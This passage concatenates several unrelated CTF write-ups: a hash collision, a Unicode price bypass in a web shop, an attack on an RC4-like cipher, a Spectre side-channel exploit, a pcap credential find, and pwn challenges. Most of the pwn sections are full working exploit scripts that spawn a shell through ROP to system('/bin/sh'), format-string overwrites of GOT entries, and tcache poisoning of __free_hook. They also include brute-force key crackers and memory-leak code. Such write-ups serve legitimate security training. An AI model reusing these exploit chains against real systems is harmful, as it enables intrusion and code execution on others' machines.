collision. In the CictroHash.pdf you can see how the hashfunction was supposed to be implemented.The input is of arbitrary length and the digest is 4 bytes long. Thus there are 2^32 possible hashvalues. Thanks to the birthday paradox (https://en.wikipedia.org/wiki/Birthday_problem), finding a collision should not be too hard. <h5> The implementation </h5>The hash.py file calculates the Cictro hashalue of a given input.The findCollision.py script then creates a wordlist and tries to find collisions within that wordist.If a collision is found, both preimages are printed. <h5>Find the collision</h5>After running the script, I found a collision caused by the preimages "AP" and "PA" (without the quotes).<h5>Getting the flag</h5>Then I submitted them to the gameserver as described in the challenge description: curl -X POST http://fun.ritsec.club:8003/checkCollision --header "Content-Type: application/json" --data '{"str1": "AP", "str2": "PA"}' And the flag comes back: RITSEC{I_am_th3_gr3@t3st_h@XOR_3v@} <h5>Final Thought</h5>This was a really fun challenge. As I am pretty new to CTFs I have not seen a similar challenge before. Thanks to the Author of the challenge and the CTF organizers.
Unicorn Shop (26 solves)--- **Team:** the cr0wn A web challenge which at first seemed frustrating and obscure, but actually turned out to be fair, prompting research into the security considerations of Unicode. ### Enumeration We have a website with a table of items on offer, and two parameters that can be posted: ![](index.png) By briefly playing around with those parameters, we find we can buy the first three items (which display pictures of unicorns), but not the fourth. We initially guess that: - We own 9 coins, since inputting 10 or more as the price sends us to the generic error page. - If we can buy the fourth item, we will get the flag. The source contains further clues: ![](source1.png) Apparently it's important that the charset is UTF-8. That's a strange clue, since [over 93% of websites](https://w3techs.com/technologies/overview/character_encoding/all) use UTF-8 encoding. Perhaps the real hint here is that mixing up different character sets with UTF-8 will be involved, or simply that character encoding _in general_ will be key to solving the challenge. ![](source2.png) This second clue in the source reinforces this. The JS is trying to restrict us from doing anything non-alphanumeric with the price field. ### UTF-8 Before going any further; a brief refresher on [UTF-8](https://en.wikipedia.org/wiki/UTF-8). It's the most popular Unicode encoding by far because it is backwards compatible with ASCII. It is variable-width, using one, two, three, or four bytes as necessary to represent all of the 1,112,064 Unicode code points. The more common code points are in the lower range therefore requiring fewer bytes to represent, with the first half of single-byte encodings being equivalent to the 128 characters of ASCII. In the higher ranges, there's a whole bunch of odd stuff. For instance, the [Unicode unicorn](https://www.compart.com/en/unicode/U+1F984), ?, is represented by the four bytes 0xF0 0x9F 0xA6 0x84, which can be urlencoded as %F0%9F%A6%84. ### Unicode & security Unicode seems great in theory, but it has many security warts. These tend to exist in the deficient and non-standard ways that software processes code points. The most famous case of this is domain name spoofing using [Punycode](https://en.wikipedia.org/wiki/Punycode), an additional encoding for backporting Unicode to IDNs, but there are other, lesser-known spoofs too. We found a ["Unicode Technical Report"](http://unicode.org/reports/tr36/tr36-3.html#Numeric_Spoofs) very useful in understanding further abuses that Unicode might allow, with the section on "numeric spoofs" being especially relevant. ### All standards accepted Below the price field is a comment "we accept numeric denominations in any standard"! After being inspired by the above report, we realised that numeric characters in any script, i.e. Bengali, Arabic, Chinese etc. were accepted as valid currency by the shop. The client-side check that only alphanumeric characters were being entered was clearly not being mirrored on the backend. Nevertheless, we still couldn't afford item #4, as the digit values in different scripts got interpreted the same way as European digits. We were seemingly still too poor regardless of the denomination or script used. ### Ethiopian numbers Following further experimentation, we found that the actual check being applied on the backend was that we were only allowed to submit a single character. We could buy the third unicorn by inputting 9 into the price field, but not 10, but we _could_ buy it with Ⅹ (Roman numeral for 10). This made the solution clear. Searching "thousand" in a Unicode code point website shows a large range of single numeric characters that can represent numbers in the tens of thousands and even millions! We chose ["Ethiopic Number Ten Thousand"](https://www.compart.com/en/unicode/U+137C) due to its groovy appearance and used that to purchase the fourth unicorn, and obtain the flag. Final request:```bashcurl 'http://104.248.237.208/purchase' --data 'id=4&imoney=%E1%8D%BC'```
# babycrypto Crypto, 300 points. ## Description *Start with this one!`nc 13.233.66.116 5000`* ```python#!/usr/bin/python3 -uimport osfrom binascii import hexlify, unhexlify flag = open("./flag","rb").read() class bb(object): def __init__(self, key): self.meh = [x for x in range(256)] j = 0 for i in range(256): j = (j + self.meh[i] + key[i%len(key)])&0xff self.meh[i], self.meh[j] = self.meh[j], self.meh[i] self.cat = 0 self.mouse = 0 def crypt(self, string): out = [] for c in string: self.cat = (self.cat+1)&0xff self.mouse = (self.cat+self.meh[self.cat])&0xff self.meh[self.cat], self.meh[self.mouse] = self.meh[self.mouse], self.meh[self.cat] k = self.meh[ (self.meh[self.cat]+self.meh[self.mouse])&0xff ]//2 out.append((c+k)&0xff) return bytearray(out) cipher = bb(os.urandom(32)) while True: print("Commands: \n(e)ncrypt msg or (p)rint flag") choice = input() if choice == 'e': message = input() print(hexlify(cipher.crypt(unhexlify(message)))) elif choice == 'p': print(hexlify(cipher.crypt(flag))) else: print("meh!")``` ## Solution So I'm not sure about this task's title and description since only 4 teams managed to solve it, and I'm also not sure why there were only 4 solves since it was pretty simple. We are given a service which runs the given Python script. We are able to encrypt messages and print an encrypted version of the flag: ```Commands:(e)ncrypt msg or (p)rint flage61626364b'dba4abb9'Commands:(e)ncrypt msg or (p)rint flagpb'73bf75c1d4a8ac5fd1cc9bd9388290906dadc7388298789b97879291598bd3d58582c8787c89c1d6af882b'``` It looks like the service initializes some kind of cryptographic stream with a random 32-byte key. The algorithm looks a lot like RC4, except for two (not so) small details: addition is used instead of XOR, and the keystream byte is divided by 2 before being used. Knowing about RC4 was not needed to solve this challenge, you just have to understand that the random key is used to produce a pseudo-random infinite stream of bytes that is used to encrypt plaintexts, here using addition modulo 256 instead of XOR. Asking for the flag twice will encrypt it twice, but the keystream will be at a different position so the output is different. ```Commands:(e)ncrypt msg or (p)rint flagpb'ba9acd8cfab0c47b8ebaf4af6dc450656ba8798f7cadd6c47acebaae9789c3b777d2bd8f697bcff2add369'Commands:(e)ncrypt msg or (p)rint flagpb'6c767a8cb94c9848957dc282a6c75aa2cc8fdf9b9cb2f1788c698ca8b08b6dc24da1d87b5371a0a7ea9e3f'``` Obviously, the weakness lies in the division by 2 of k in the crypt method. What this means is that k can only take values in 0, ..., 127 before it is added to our plaintext byte. Since we know the flag will be a readable ASCII string, this reduces the amount of possibilities for a plaintext character.For instance, if we consider this encrypted version of the flag: ```ba9acd8cfab0c47b8ebaf4af6dc450656ba8798f7cadd6c47acebaae9789c3b777d2bd8f697bcff2add369``` ...it starts with 0xBA, and if we note p[0] the first character of the flag, we have `p[0] + k = 0xBA`. As k can only take values between 0 and 127, we know p[0] can only take values between 0x3B and 0xBA, and since we assume it is readable ASCII, we know p[0] is somewhere between 0x3B and 0x7F. Now we can do this for every byte of the plaintext but there's still too many possibilities... We cannot retrieve the flag like that. Of course, the idea was to exploit the fact that we can encrypt the flag several times. For each byte, the higher its encrypted value is, the smallest the space of possibilities for the associated plaintext character is. Therefore, each time we ask for a new encrypted flag, there is a probability that we're reducing the number of flag candidates. If we're asking for enough encrypted flags, we can thus reconstruct it with a high probability. Here's the exploit: ```pythonfrom binascii import unhexlify as unheximport socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(('13.233.66.116', 5000))s.recv(4096) L = []charset = b'{}ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_' count = 0while True: s.send(b'p\n') res = s.recv(4096) try: res = unhex(res.split(b'\n')[0].split(b"'")[1]) except: continue L.append(res) plaintext = b'' for i in range(43): for o in charset: good = True for k in range(len(L)): q = (L[k][i] - o) & 255 if q >= 128: good = False break if good: plaintext += bytes([o]) break print(count, plaintext) count += 1``` The flag is retrieved in about 400 requests: ```0 b'{{{{{{A{{{{{0{A{A{{{{{{{{A{{0{{{{{A{AA{{{{A'1 b'{{{{{AA0{{{{0{A{H{{A{A{{{G{{0{{{A{A{AA{{{{0'2 b'{{{A{AA0{{{{0{A{H{{A{A{{{G{{0{{{0{AAAA{{{{0'3 b'{{{a{AA0{{{a0{A{M{VA{A{{{Z{{0{{I0{SAAA{{{{0'4 b'{{{a{AA0{{{a0{A{M{VA{A{{{Z{{0{{I0{SAAA{{{{0'5 b'd{Za{0A0{{{a0{A{M{VA{A{{aZ{{0{{I0{SYAA{{{{0'6 b'd{Za{0A0{{{a0{A{M{VA{AnJaZ{{0{AI0{SYAA{{{{0'7 b'dAZa{0W0{Q{a0{A{M{VA{AnJaZ{{0{TU0{SYAA{{{{'8 b'eDZa{0W0{Q{a0{0{M{V0{AnJaZ{{0{TU0{aYAA{{{{'9 b'eDZa{0W0{Q{c0{0{M{V0{AnJaZ{{0{TU0baYAA{{{{'10 b'eDZa{0b0YQ{c0{0{M{V0{AnJaZ{{0{Xa0baY0A{{{{'11 b'eDZa{0b0YQ{c2{0{M{V0{AqJaZ{{0{Xa0baY0A{{{{' [...] 130 b'flaf{3r2_dyn3l1c_pb0x0s_a_sh0nga0f_a14utx}'131 b'flaf{3r2_dyn3l1c_pb0x0s_a_sh0nga0f_a14utx}'132 b'flaf{3r2_dyn3l1c_pb0x0s_a_sh0nga0f_a14utx}'133 b'flaf{3r2_dyn3l1c_pb0x0s_a_sh0nga0f_a14utx}'134 b'flaf{3r2_dyn3l1c_pb0x0s_a_sh0nga0f_a14utx}'135 b'flaf{3r2_dyn3l1c_pb0x0s_a_sh0nga0f_a14utx}'136 b'flaf{3r2_dyn3l1c_pb0x0s_a_sh0nga0f_a14utx}'137 b'flaf{3r2_dyn3l1c_pb0x0s_a_sh0nga0f_a14utx}'138 b'flaf{3r2_dyn3l1c_pb0x0s_a_sh0nga0f_a14utx}'139 b'flaf{3r2_dyn3l1c_pb0x0s_a_sh0nga0f_a14utx}' [...] 444 b'flag{4r3_dyn4m1c_sb0x3s_a_th0ng_0f_b34uty}'445 b'flag{4r3_dyn4m1c_sb0x3s_a_th0ng_0f_b34uty}'446 b'flag{4r3_dyn4m1c_sb0x3s_a_th1ng_0f_b34uty}'``` Enjoy!
# Plaid CTF 2019 : Spectre Spectre is a critical vulnerability in modern processors, which allows programs to steal data which is currently processed in memory. As the name of the challenge indicates, we should complete a spectre attack. ## Static Analysis It's not hard to figure out what does the binary do: 1. calloc(0x1030) as input buffer; 2. load flag at offset 0x1020 of input buffer; 3. read 0x1000 bytes into input buffer from stdin at most; 4. mmap space of size 0x400000 at address 0x133700000000 as code segment; 5. mmap space of size 0x2000000 at address 0x414100000000 as data segment; 6. translate our input into JIT code, from input buffer to code segment; 7. set code segment as r-x, this means we can't edit our code once the translation is completed; 8. put builtin\_bc's pointer at offset 0x1008 of input buffer; 9. put builtin\_time's pointer at offset 0x1010 of input buffer; 10. put rdtsc's pointer at offset 0x1018 of inputbuffer; 11. execute code segment; 12. print the first 0x1000 bytes of data segment. The memory layout is shown below: ![image](https://github.com/kongjiadongyuan/image_in_a_mess/raw/master/2019-4-19.png) There is no way to reach buffer overflow, so we have to do what we are disigned to do. Let's have a look at builtin\_bc and builtin\_time briefly: ```csigned __int64 __fastcall builtin_bc(unsigned __int64 a1){ signed __int64 result; // rax result = -1LL; if ( *the_vm > a1 ) result = *((unsigned __int8 *)the_vm + a1 + 8); return result;}``` ```c__int64 __fastcall builtin_time(__int64 a1, __int64 a2, __int64 a3){ return *((unsigned __int8 *)the_vm + 0x1020) - the_vm[515] + rdtsc(0, a3);}``` Function builtin\_bc is a typical victim function in spectre's exploitation, we have to train the branch jump so it can pre-execute our malicious code; Function builtin\_time looks some strange, it uses the\_vm\[515], but it won't affect the result as we wouldn't use it directly. The author should have call rdtsc directly, but he added flag's first byte in this function, there must be some purpose. In fact, it can put the flag into cpu's cache (if it wasn't in cache before), this is import when we try to abuse branch prediction. ## Dealing with bytecode and IO There's nothing need detailed description, I wrote a small tool to deal with these fussy things. I have put it on my github, you can refer to it when you try to complete your own exp. [https://github.com/kongjiadongyuan/pwn-study/tree/master/2019-pctf/spectre](https://github.com/kongjiadongyuan/pwn-study/tree/master/2019-pctf/spectre) There are some points we should take care: 1. we can only use r8 ~ r15 as we generate our code; 2. loop target depent on the bytecode's length; More details of this part come from reversing and debugging, good luck. ## Spectre's principle There is a lot of information on this problem, and I will only explain briefly here. Firstly, we should know two important mechanism of our processor, branch prediction and memory cache. Branch prediction comes from cpu's out-of-order execution. When cpu encounters conditional jump statement like jle, je, it will guess the result of them, and predictive execute the "true" branch, if the "true" branch is confirmed as false, then the predictive execution will be "abandoned", and it looks **almost** as if it hasn't been executed. However, it does affect something. Once the "false" branch executed, cpu will put the page into cache if they're accessed, and even "false" branch has been abandoned, the pages are not fetched out of cache, which gives us a chance to channel attack. ## Algorithm The strategy is obvious now: 1. Flush 256 pages of memory out of cpu's cache in data segment; 2. Train builtin\_bc to let it jump to the "true" branch by default, more specifically: ```c if ( *the_vm > a1 ) result = *((unsigned __int8 *)the_vm + a1 + 8); ``` Let the conditional statement always be true, and when we give it "false" the first time, cpu will predictive execute the next statement, whether it is legal or not. We just let "a1" be the index of one of flag's byte, we can fetch it in a branch which will not be actual executed. 3. Use the byte we have fetched to access the corresponding page: After the function builtin\_bc returned (of cource in predictive executed branch), we "have" a byte of flag, and we access \*(0x414100000000 + x << 12), read or write are both ok. Now we can put the page into cpu's cache. For example, the first byte of flag is 'p', we then access the address of (0x414100000000 + 0x70 << 12), and it will be put into cache, when we finally measure the time we access it again, the time will significantly reduce compared to those which are not cached, then we can know the first byte is 'p'. 4. Measure the time we access each page, and get the result. ## Exploit and Details Here is my exploit: ```pythonfrom pwn import *from translator import *DEBUG =0 r8 = 0r9 = 1r10 = 2r11 = 3r12 = 4r13 = 5r14 = 6r15 = 7 threshold = 0x50 if DEBUG: p = process(['./spectre', 'flag'])# context.log_level = 'debug'def init(c): c.movc(r10, 0) # i = 0 l_target = c.getloop() #loopstart c.movc(r9, 2) c.mov(r8, r10) c.shl(r8, r9) # r8 = i << 2 (i * 4) c.movc(r9, 0xffffffff) c.store(r8, r9) # *(0x414100000000 + i * 4) = 0xffffffff c.movc(r9, 1) c.add(r10, r9) # i = i + 1 c.loop(0x40000, l_target, r10) def train_bc(c): for i in range(50): c.movc(r8, 0x1000 - 0x8) c.bc() def cache_clear(c): c.movc(r11, 0) l_target2 = c.getloop() c.movc(r10, 0x101000) l_target1 = c.getloop() c.mov(r8, r10) c.load(r8, r8) c.movc(r9, 4) c.add(r10, r9) c.loop(0x1fff000, l_target1, r10) c.movc(r9, 1) c.add(r11, r9) c.loop(0x10, l_target2, r11) def train_jle(c): target_l = c.getloop() c.movc(r9, 0x200) for i in range(0x100): c.loop(0x20, target_l, r9) def delay_fence(c): c.movc(r10, 0) target_l = c.getloop() c.movc(r9, 1) c.add(r10, r9) c.loop(0x100, target_l, r10) def attack(c, offset): c.movc(r11, 56) c.movc(r12, 56 - 12) c.movc(r8, 0x1018 + offset) c.bc() c.shl(r8, r11) c.shr(r8, r12) c.load(r9, r8) def check(c, addr): c.movc(r10, addr) c.time(r9) c.load(r10, r10) c.time(r8) c.sub(r8, r9) def check_all(c): c.movc(r15, 0) target_l = c.getloop() c.mov(r11, r15) c.movc(r9, 0x6) c.shl(r11 , r9) c.add(r11, r15) c.movc(r9, 0xff) c.uand(r11, r9) c.movc(r9, 12) c.mov(r12, r11) c.shl(r12, r9) c.time(r9) c.load(r12, r12) c.time(r8) c.sub(r8, r9) c.mov(r12, r11) c.movc(r9, 3) c.shl(r12, r9) c.store(r12, r8) c.movc(r9, 1) c.add(r15, r9) c.loop(0x100, target_l, r15) def main(secret): if DEBUG: pause() c = Translator() c.start() init(c) train_bc(c) cache_clear(c) delay_fence(c) c.time() attack(c, secret) check_all(c) c.complete() if not DEBUG: final = c.go() result = [] for i in range(0x100): result.append(final[i * 2]) return result else: p.send(c.content) def explode(): idx = 0 result = '' score = [] count = 0 for i in range(0x100): score.append(0) def ok(c): if c >= 32 and c <= 126: return True else: return False def clr(score): for i in range(0x100): score[i] = 0 def chk(score): for i in range(0x100): if score[i] == 1: return i return -1 while(True): tmp = main(idx) for i in range(len(tmp)): if tmp[i] < threshold and ok(i): score[i] += 1 if not chk(score) == -1: result += chr(chk(score)) if idx == 0x10: return result idx += 1 clr(score) count += 1 printlist(tmp) print 'result: ' + result print 'count: ' + str(count) def printlist(result): pstream = '' for i in range(0x100): pstream += hex(i) + ': ' + hex(result[i]).ljust(5) + '\t' if i % 8 == 0 and not i == 0: pstream += '\n' print pstream if __name__ == '__main__': if len(sys.argv) > 1: secret = int(sys.argv[1]) else: secret = 0 if not DEBUG: explode() if DEBUG: main(secret) result = [] for i in range(0x100): result.append(u64(p.recv(8))) printlist(result)``` The stage is well devided in main function, and I'll explain some points which I think is important. Firstly, we can't call \_mm\_clflush in this binary, which is used in spectre's exploit to flush a page out of cpu cache. So we have to find a method to do the same thing. In my exploit, I do this by constantly accessing the pages we don't need. In function cache\_clear, I use memory from offset 0x101000 to 0x1fff000 (the base is 0x414100000000), which is far more than the cache size of cpu (which is usually 3M). When the cache is full, it will clear out the pages we care about, which is page from offset 0x00 to 0x100000, exactly 0x100 pages, corresponding to 0x100 ascii character. Secondly, training builtin\_bc should directly repeat in assembly level, not loop, which will bring some unexpected problems. Thirdly, we should make sure the time of cpu executing from conditional branch to our target "false" branch as short as possible. As we know, fetching data from memory is far more slow than from cache, so we must put the page where flag exist into cache, to make sure the "false" branch can reach the point we want before the conditional judgement finish, which will cause the whole "false" branch abandoned. Finally, after we trying to trigger cache flush in function cache\_clear, we'd better give cpu some time to complete the flush operation, which will improve the success rate. I did this by adding null loop. This is what I didn't notice when the competition is open. When measure the time we access each page, we should make sure we do this in random order (at lease in cpu's view), so I access this in order ( i \* 67 ) & 0xff, in case the cpu put the next page into cache in advance. # Conclusion This challenge is not hard if we do know the principle of spectre, but obviously, I didn't before I get this challenge. My english is poor, and I hope you can understand what I mean. Good Luck.
# TJCTF 2019 "Cable Selachimorpha" writeup ## check problem I get one pcap file. ## solve problem ![screen](screen.jpg "screen") When I check pcap file by wireshark, I find a communication that include user name and password. I decode "tjctf%7Bb0mk4r_br0k3_b10n%7D" by URL encoding, I get flag "tjctf{b0mk4r_br0k3_b10n}". <https://gchq.github.io/CyberChef/#recipe=URL_Decode()&input=dGpjdGYlN0JiMG1rNHJfYnIwazNfYjEwbiU3RA>
tl;dr1. Find Elliptic Curve parameters from given points on the curve2. Find x-coordinate of 2\*P, given y-coordinate of 2\*P3. Invert 2 over mod (P.order()) and multiply the result with 2\*P to get P4. Submit ASIS{P.x} as the flag Full write-up: [https://blog.bi0s.in/2019/04/23/Crypto/Elliptic-Curves/asis-quals19-halloween-party/](https://blog.bi0s.in/2019/04/23/Crypto/Elliptic-Curves/asis-quals19-halloween-party/)
## ## 83 Pwn / Silk Road I Brute-force crack the ID, secret must be numeric string so it does not take very long to crack ```c#include <stdio.h>#include <stdlib.h>#include <stdbool.h> bool sub_40140A(char *secret){ size_t v1; // r12 size_t v2; // r12 bool ret; // al int v4; // [rsp+1Ch] [rbp-34h] int v5; // [rsp+34h] [rbp-1Ch] int v6; // [rsp+38h] [rbp-18h] int sint; // [rsp+3Ch] [rbp-14h] sint = strtol(secret, 0LL, 10); ret = 0; if ( sint % (strlen(secret) + 2) || secret[4] != '1' ) return ret; v6 = sint / 100000; v5 = sint % 10000; if ( 10 * (sint % 10000 / 1000) + sint % 10000 % 100 / 10 - (10 * (sint / 100000 / 1000) + sint / 100000 % 10) != 1 || 10 * (v6 / 100 % 10) + v6 / 10 % 10 - 2 * (10 * (v5 % 100 / 10) + v5 % 1000 / 100) != 8 ) { return ret; } v4 = 10 * (v5 / 100 % 10) + v5 % 10; if ( (10 * (v6 % 10) + v6 / 100 % 10) / v4 != 3 || (10 * (v6 % 10) + v6 / 100 % 10) % v4 ) return ret; v1 = strlen(secret) + 2; v2 = (strlen(secret) + 2) * v1; if ( sint % (v5 * v6) == v2 * (strlen(secret) + 2) + 6 ) ret = 1; return ret;} char buf[0x100]; int main(int argc, char const *argv[]){ for (size_t i = 0; i < 0x100000000; ++i) { snprintf(buf, sizeof(buf), "%d", (int)i); if (sub_40140A(buf)) puts(buf);//790317143 } return 0;}``` Nickname is not hard to get so I will skip it. Then there is a stack-overflow, which is easy. ```pythonfrom pwn import * g_local=0p = ELF("./silkroad.elf")context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process("./silkroad.elf") gdb.attach(sh)else: sh = remote("82.196.10.106", 58399) def prepare(): sh.recvuntil("ID: ") sh.send("790317143") sh.recvuntil("nick: ") sh.send("DreadPirateRobertsXiz\x00") sh.recvuntil("delete evidince and run Silkroad!\n")prepare()sh.sendline("A" * (64+8) + p64(0x401bab) + p64(p.got["puts"]) + p64(p.plt["puts"]) + p64(0x401AFD)) leak = sh.recvuntil('\n')libc_addr = u64(leak[:-1] + '\x00\x00') - e.symbols["puts"]print hex(libc_addr) prepare()sh.sendline("A" * (64+8) + p64(0x401B4B) + p64(0x401bab) + \ p64(libc_addr + next(e.search("/bin/sh"))) + p64(libc_addr + e.symbols["system"]) + p64(0)) sh.interactive()``` ## 171 Pwn / Silk Road II Since many `strtol` is used, so I would guess this token is also numeric and it is also can be brute-force cracked, but this time I will load the ELF executable as a shared library and call the verification function directly. ```c#include <stdio.h>#include <dlfcn.h>#include <memory.h>typedef int (*func_t)(char *);char buf[0x100];char key[0x100]; //to clear the stack of verification function, //because use of `strncpy` will cause uninitialized variable access (no null terminate)//which causes unexpected results if `strcat` is called to that string latervoid clear_stack(){ char buf[0x1000]; memset(buf, 0, sizeof(buf));} int main(int argc, char const *argv[]){ char* addr = *(char**)dlopen("./silkroad_2.elf", RTLD_NOW | RTLD_GLOBAL); func_t f = (func_t)(addr + 0x1C06); for (int i = 0; i < 0x3b9aca00; ++i) { sprintf(buf, "%.9d", i); for (int i = 0; i < 4; ++i) { key[i] = buf[i]; } for (int i = 0; i < 5; ++i) { key[6 + i] = buf[4 + i]; } key[4] = '1'; key[5] = '1';//4,5 must be length, which is always 11 key[11] = 0; clear_stack(); if (f(key) == 1) puts(buf); } return 0;}``` The vulnerability is format string vulnerability, when error message is printed if an invalid command is given. We can rewrite got table entry of `printf`, then hijack the `rip` and get shell using `one_gadget` ```pythonfrom pwn import * g_local=1context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process(["./silkroad_2.elf", "flag{test}"]) gdb.attach(sh)else: sh = remote("82.196.10.106", 47299) def hn(pos, val): assert val < 0x10000 if val == 0: return "%" + str(pos) + "$hn" else: return "%" + str(val) + "c%" + str(pos) + "$hn" def cont_shoot(poses, vals, prev_size = 0): assert len(poses) == len(vals) size = len(poses) ret = "" i = 0 cur_size = prev_size next_overflow = ((prev_size + 0xffff) / 0x10000) * 0x10000 while i < size: assert next_overflow >= cur_size num = next_overflow - cur_size + vals[i] if num < 0x10000: ret += hn(poses[i], num) next_overflow += 0x10000 else: num = vals[i] - (cur_size - (next_overflow - 0x10000)) assert num >= 0 ret += hn(poses[i], num) cur_size += num i += 1 return ret sh.recvuntil("Enter your token: ")sh.send("98831114236")sh.recvuntil(">> ")sh.sendline("1") sh.recvuntil("admin: ") def format_exp(payload): sh.sendline(payload) sh.recvuntil("invalid: \\") ret = sh.recvuntil('\n') sh.recvuntil("admin: ") return ret[:-1] libc_addr = int(format_exp("\\%2$p")[2:], 16) - 0x3ed8c0print hex(libc_addr) #mh = libc_addr + e.symbols["__malloc_hook"]#format_exp('\\' + cont_shoot([mh, mh+2, mh+4], []))#sh.sendline("\\q" + cyclic(128))#library function rewrites our input prog_addr = int(format_exp("\\%9$p")[2:], 16) - 0x98dprint hex(prog_addr) pg = prog_addr + 0x3f50 #printf got table entrysys = libc_addr + 0x10a38c#e.symbols["system"] format_exp("\\" + cyclic(7) + 'A' * (8 * 8) + p64(0) * 2 + p64(pg) + p64(pg+2) + p64(pg+4)) sh.sendline('\\' + cont_shoot([25, 26, 27], \ [sys & 0xffff, (sys >> 0x10) & 0xffff, (sys >> 0x20)], 0x11)) sh.interactive()``` ## 182 Pwn / Silk Road III The vulnerability is exactly same, but the verification is different. ```csigned __int64 __fastcall sub_1FCA(char *input){ int v1; // eax int v2; // ST1C_4 unsigned __int64 v3; // rbx size_t v4; // r12 size_t v5; // r12 char v6; // bl int v7; // ebx int v8; // ebx size_t v9; // rax signed __int64 result; // rax signed int i; // [rsp+14h] [rbp-4Ch] signed int j; // [rsp+14h] [rbp-4Ch] signed int k; // [rsp+14h] [rbp-4Ch] signed int l; // [rsp+14h] [rbp-4Ch] char _1337[5]; // [rsp+22h] [rbp-3Eh] char v16[6]; // [rsp+27h] [rbp-39h] char v17[6]; // [rsp+2Dh] [rbp-33h] char haystack[6]; // [rsp+33h] [rbp-2Dh] char v19[15]; // [rsp+39h] [rbp-27h] unsigned __int64 v20; // [rsp+48h] [rbp-18h] v20 = __readfsqword(0x28u); haystack[5] = 0; for ( i = 0; i <= 4; ++i ) haystack[i] = input[strlen(input) - 5 + i]; if ( !strstr(haystack, "1337") ) // 14:19 goto LABEL_23; //must contain 1337, and be either X1337 or 1337X v1 = strtol(haystack, 0LL, 10); v2 = 100 * (input[13] - '0') + 1000 * (input[6] - '0') + input[15] - '0'; v3 = v1; v4 = strlen(input); v5 = strlen(input) * v4; if ( v3 % (strlen(input) * v5) != v2 ) goto LABEL_23;// 1337XorX1337 % len**3 must have ten digit being 0 for ( j = 0; j <= 4; ++j ) { v16[j] = input[j]; v17[j] = input[strlen(input) - 10 + j]; } v16[5] = 0; v17[5] = 0; for ( k = 0; k <= 14; ++k ) v19[k] = input[k]; v19[14] = 0; for ( l = 0; l <= 3; ++l ) _1337[l] = haystack[l + 1]; _1337[4] = 0; if ( strstr(v19, _1337) && (v6 = *input, v6 == input[strlen(input) - 8])// [0] == [11] && (v7 = input[strlen(input) - 2] - 48, v8 = input[strlen(input) - 3] - 48 // [17] + [16] + [15] + 1 == [1] + v7, v8 + input[strlen(input) - 4] - 48 + 1 == input[1] - 48) && (v9 = strlen(input), v9 == 19 * ((unsigned __int64)(0xD79435E50D79435FLL * (unsigned __int128)v9 >> 64) >> 4)) )// len must == 19 { result = 1LL; } else {LABEL_23: result = 0xFFFFFFFFLL; } return result;}``` Actually the restriction is easier to bypass than second version, `X813373XXXXXX931337` can pass the check. ```pythonfrom pwn import * g_local=0context(log_level='debug', arch='amd64')e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process(["./ross.elf", "flag{test}"]) gdb.attach(sh)else: sh = remote("82.196.10.106", 31337) def hn(pos, val): assert val < 0x10000 if val == 0: return "%" + str(pos) + "$hn" else: return "%" + str(val) + "c%" + str(pos) + "$hn" def cont_shoot(poses, vals, prev_size = 0): assert len(poses) == len(vals) size = len(poses) ret = "" i = 0 cur_size = prev_size next_overflow = ((prev_size + 0xffff) / 0x10000) * 0x10000 while i < size: assert next_overflow >= cur_size num = next_overflow - cur_size + vals[i] if num < 0x10000: ret += hn(poses[i], num) next_overflow += 0x10000 else: num = vals[i] - (cur_size - (next_overflow - 0x10000)) assert num >= 0 ret += hn(poses[i], num) cur_size += num i += 1 return ret sh.recvuntil("Enter your token: ")sh.send("X813373XXXXXX931337")sh.recvuntil("your nick: ")sh.sendline("admin")sh.recvuntil(">> ")sh.sendline("1") sh.recvuntil("admin: ") def format_exp(payload): sh.sendline(payload) sh.recvuntil("invalid: \\") ret = sh.recvuntil('\n') sh.recvuntil("admin: ") return ret[:-1] libc_addr = int(format_exp("\\%2$p")[2:], 16) - 0x3ed8c0print hex(libc_addr) #mh = libc_addr + e.symbols["__malloc_hook"]#format_exp('\\' + cont_shoot([mh, mh+2, mh+4], []))#sh.sendline("\\q" + cyclic(128))#library function rewrites our input prog_addr = int(format_exp("\\%9$p")[2:], 16) - 0x1E9D - 5print hex(prog_addr) pg = prog_addr + 0x5F68 #printf got table entrysys = libc_addr + 0x10a38c#e.symbols["system"] format_exp("\\" + cyclic(7) + 'A' * (8 * 8) + p64(0) * 2 + p64(pg) + p64(pg+2) + p64(pg+4)) sh.sendline('\\' + cont_shoot([25, 26, 27], \ [sys & 0xffff, (sys >> 0x10) & 0xffff, (sys >> 0x20)], 0x11)) sh.interactive()``` The exploit is same, except some offset has been changed. ## 116 Pwn / pwn 101 Vulnerability is off-by-one, we can use this to extend the chunk size of unsorted bin to create overlap to leak the `libc` address; then we can get the same chunk twice in 2 different indices, so we can use double free to poison `tcache bins` and rewrite `__free_hook`. ```pythonfrom pwn import *from struct import unpack as upg_local=0#p = ELF("./pwn101.elf")context(log_level='debug', arch='amd64')#e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")if g_local: sh = process("./pwn101.elf") gdb.attach(sh)else: sh = remote("82.196.10.106", 29099) sh.recvuntil("> ")def add(length, name, description="20192019"): sh.sendline("1") sh.recvuntil("Description Length: ") sh.sendline(str(length)) sh.recvuntil("Phone Number: ") sh.sendline("2019") sh.recvuntil("Name: ") sh.send(name) sh.recvuntil("Description: ") sh.send(description) sh.recvuntil("> ") def delete(idx): sh.sendline("3") sh.recvuntil("Index: ") sh.sendline(str(idx)) sh.recvuntil("> ") def show(idx): sh.sendline("2") sh.recvuntil("Index: ") sh.sendline(str(idx)) sh.recvuntil("Description : ") ret = sh.recvuntil('\n') sh.recvuntil("> ") return ret[:-1] for i in xrange(7): add(0x200, 'name', 'fill tcache')add(0x200, 'ab') #7for i in xrange(7): delete(i) add(0x58, 'c', 'A' * 0x50 + p64(0x1f0)) #0add(0x100, 'pad') #1delete(7) add(0x78, "offbyone", 'a' * 0x78 + '\xf1') #2#0x191 -> 0x1f1add(0x180, "leak") #3libc_addr = u64(show(0) + '\x00\x00') - 0x3ebca0print hex(libc_addr)#0x7fe5e1b31ca0 on server, so 2.27 add(0x50, '22', "/bin/sh") #4 delete(4)delete(0) add(0x50, 'consume', p64(libc_addr + 0x3ed8e8))#e.symbols["__free_hook"]))add(0x50, 'consume')add(0x50, '/bin/sh\x00', p64(libc_addr + 